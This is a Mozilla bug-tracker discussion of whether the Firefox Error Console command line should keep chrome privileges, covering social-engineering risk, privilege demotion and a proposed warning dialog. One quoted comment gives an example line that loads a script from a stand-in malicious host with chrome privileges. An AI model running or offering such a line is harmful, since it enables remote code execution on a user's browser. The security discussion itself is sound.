Ok, sorry I started off in this direction. Now I realize why Firebug differs from the Error Console. The security problem in Firebug 1.0 was the 'console' window object, not the command line. The console object was added to every page and exposed users to attack long after they activated the security hole. A realistic scenario would include users examining a suspect page with Firebug, only to become a victim. The Error Console command line does allow users to enter code that would allow a page to attack them, but this is a much lower risk, closer to a phishing attack. The attacker would have to convince users to open the error console and type, a very high bar.
(In reply to comment #2) > location = "data:text/html,<html><body><script > src='somebadesript.com'></script></body></html> > > IIUC this will load that script with chrome privileges... Yes, it will, presumably what someone who knows enough to do that kind of thing on the error console wanted (easier to do that then enter line after line in the little console box). I don't think this bug needs to be security-sensitive. For one thing it's based on a public newsgroup post, and if a chrome-privileged command-line is a useful tool to keep around then it's better to be public about the fact that it is a *sharp* tool. But is the edit box chrome-privileged because someone needed it to be, or happenstance because it's embedded in a chrome window? I'm not up on the history of the command-line in the error console, but it doesn't seem all that useful. Certainly not to the average user, and it's pretty inadequate for anything serious. Can we remove it? Heck, if command-line functionality is useful I'd rather build in a version of Jesse's "shell", at least scripts run in the context of the user's page. If we can't remove it can we drop privilege on it?
> I don't think this bug needs to be security-sensitive. For one thing it's based > on a public newsgroup post, and if a chrome-privileged command-line is a useful > tool to keep around then it's better to be public about the fact that it is a > *sharp* tool. But is the edit box chrome-privileged because someone needed it > to be, or happenstance because it's embedded in a chrome window? The original post discussed the lack-of security in the eval() proposal. I did not want to continue any discussion of the current command line security in public if in fact it is insecure. By now I think it is ok: insecure but only by users direct and difficult actions. I believe the current error console command line is old, so the answer to your question is "hapenstance". jjb
window.open is problematic as well...
(In reply to comment #5) > The original post discussed the lack-of security in the eval() proposal. I did > not want to continue any discussion of the current command line security in > public if in fact it is insecure. By now I think it is ok: insecure but only by > users direct and difficult actions. I can't speak for anyone else but for me using window.open from the error console was a simple way to get a browser window open when all I had was the error console, now I realize the issues involved with doing that... > I believe the current error console command line is old, so the answer to your > question is "hapenstance". It's actually the only place in Firefox where you can easily test stuff that needs chrome privileges, at least I find it very useful... Of course the simple answer to that is either use firebug on a chrome page or make your own extension for that. Since this really is a user app, perhaps the privileges should be demoted...
People do commonly make use of the fact that the console is privileged, see e.g. bug 328932, and https://places-stats.mozilla.com/ . Whether we should break them is a slightly harder question to answer. Developers wanting to test things out in the browser and people wanting to submit places stats could probably live with having to install an addon, but the Error Console has also proven useful in the past as a way to help debug end-user problems, where add-on installation might be a needless hurdle. It's not clear to me that the security benefit from removing it would outweigh the benefits of having it, and I think that's largely due to the lack of evidence that it has actually caused trouble in practice.
I propose we take the security cover off of this bug and dupe it to 156396.
The security flag was removed, and this seems completely unrelated to bug 156396.
(In reply to comment #8) IMHO it isn't good practice to recommend users to run scripts in the error console as that is bound to expose this bug even more. Say userA runs the places-stats stuff, then goes to another evil website and reads some instructions that include running code in the error console. UserA has no idea what "privileged code" means and since he used the console once to run some code for Mozilla, he'll assume that there's nothing wrong with it... kaboom! (I know there's a large warning label _in_red_ on the places-stats page, but seriously, who reads that stuff??)
What *may* be useful here is to notify the user when they use the error console's command line with a popup, something like: ------------------------------------------------------------ | @@ | | @@ | | You are evaluating a script in an unsecure context, | | if you are unsure of what this is, hit "Cancel. | | | | ____________ __________ | |  Remember my choice | Continue | | Cancel | | | ------------ ---------- | ------------------------------------------------------------ (sorry for the atrocious ascii graphics)
The Error Console has been removed in favor of the Browser Console (see Bug 1278368), and the component is going to be removed. If this bug is also relevant in the Browser Console, please reopen and move this into Firefox -> Developer Tools: Console.
I am mass-reopening and re-componenting every single one of the Toolkit:Error Console bugs that appear to have been closed without anyone even *glancing* at whether they were relevant to the Browser Console. If you want to close a whole bunch of old bugs -- FOR ANY REASON -- it is YOUR RESPONSIBILITY to check EVERY SINGLE ONE OF THEM and make sure they are no longer valid. Do not push that work onto the bug reporters. (It's okay to close bugs that haven't been touched in years when they don't have enough information for you to figure out whether the problem is still relevant to the current software - the reporter probably isn't coming back to clarify. But that is the ONLY situation where it is okay.) (I'm going to have to do this in two steps because of the way the "change several bugs at once" form works. Apologies for the extra bugspam.)
There's a pref needed to run commands in the Browser Console: https://developer.mozilla.org/en-US/docs/Tools/Browser_Console#Browser_Console_command_line